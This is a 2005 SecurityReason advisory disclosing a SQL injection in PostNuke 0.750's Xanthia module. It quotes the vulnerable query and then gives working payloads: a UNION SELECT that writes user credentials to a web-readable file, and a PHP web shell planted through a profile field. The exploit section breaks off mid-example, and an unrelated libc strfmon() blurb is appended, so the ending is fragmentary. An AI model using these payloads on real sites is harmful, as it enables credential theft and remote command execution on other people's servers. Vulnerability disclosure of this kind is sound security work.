If you have found a vulnerability, please send to our SecurityAlert Database : secalert()securityreason()com
Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive : exploit()securityreason()com
Details : SecurityReason Advisory
Topic : PostNuke SQL Injection x=>0.750 SecurityAlert : 16 SecurityRisk : High (About) Remote Exploit : Yes Local Exploit : Yes Exploit Given : Yes Credit : Maksymilian Arciemowicz Date : 08.09.2005
Affected Software :
PostNuke x=>0.750
Advisory Text :
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
[PostNuke SQL Injection 0.750=>x cXIb8O3.5]
Author: cXIb8O3
Date: 2.3.2005
from SecurityReason.Com
- --- 0.Description ---
PostNuke: The Phoenix Release (0.750)
PostNuke is an open source, open developement content management system
(CMS). PostNuke started as a fork from PHPNuke (http://www.phpnuke.org) and
provides many enhancements and improvements over the PHP-Nuke system.
PostNuke
is still undergoing development but a large number of core functions are
now
stabilising and a complete API for third-party developers is now in place.
If you would like to help develop this software, please visit our homepage
at http://noc.postnuke.com/
You can also visit us on our IRC Server irc.postnuke.com channel
#postnuke-support
#postnuke-chat
#postnuke
Or at the Community Forums located at:
http://forums.postnuke.com/
- --- 1. Sql Injection ---
This sql injection exist in modules/Xanthia/pnclasses/Xanthia.php on line
977 on function init_template()
Vulnerabilities code:
- -965-980---
$sql = "SELECT $blcontrolcolumn[blocktemplate] as blocktemplate,
$blcontrolcolumn[identi] as identi
FROM $pntable[theme_blcontrol]
WHERE $blcontrolcolumn[theme]='$theme'
AND $blcontrolcolumn[module]='$mod'
AND $blcontrolcolumn[blocktemplate] !=''";
// Execute the query
$result =& $dbconn->Execute($sql);
Error message :
- ---------------
Fatal error: Call to a member function GetRowAssoc() on a non-object in
/www/PostNuke-0.750/source/html/modules/Xanthia/pnclasses/Xanthia.php on
line 977
- ---------------
Error message :
- ---------------
Fatal error: Call to a member function MoveNext() on a non-object in
/www/PostNuke-0.750/html/modules/Xanthia/pnclasses/Xanthia.php on line 977
- ---------------
Error message :
- ---------------
Fatal error: Call to a member function GetRowAssoc() on a non-object in
/www/PostNuke-0.750/source/html/modules/Xanthia/pnclasses/Xanthia.php on
line 977
- ---------------
For exemple prefix is /www/PostNuke-0.750/source/html/.
Now you can make exploit. But you have to know db prefix.
Error message :
- ---------------
Failed to load module Xanthia' UNION SELECT pn_uname,pn_pass FROM pn__users
WHERE pn_uid=2 INTO OUTFILE
'/www/PostNuke-0.750/source/html/pnTemp/Xanthia_cache/cXIb8O3'/* (at
function: "view")
- ---------------
But go now to
http://[HOST]/[DIR]/pnTemp/Xanthia_cache/cXIb8O3
and have you password for user with id=2.
Exploit1[Blind upload]
Go to:
http://[HOST]/[DIR]/user.php?op=edituser
and insert to "Extra information" php code. For exemeple:
- ---
<?php system($_GET[cXIb8O3]); ?>
- ---
And now you can make php script with this code. For exemple:
Maksymilian Arciemowicz discovered a Integer Overflow
vulnerability in the libc library "strfmon()" function.A vulnerability could allow an attacker who successfully exploits this vulnerability to take control of the affected *BSD systems.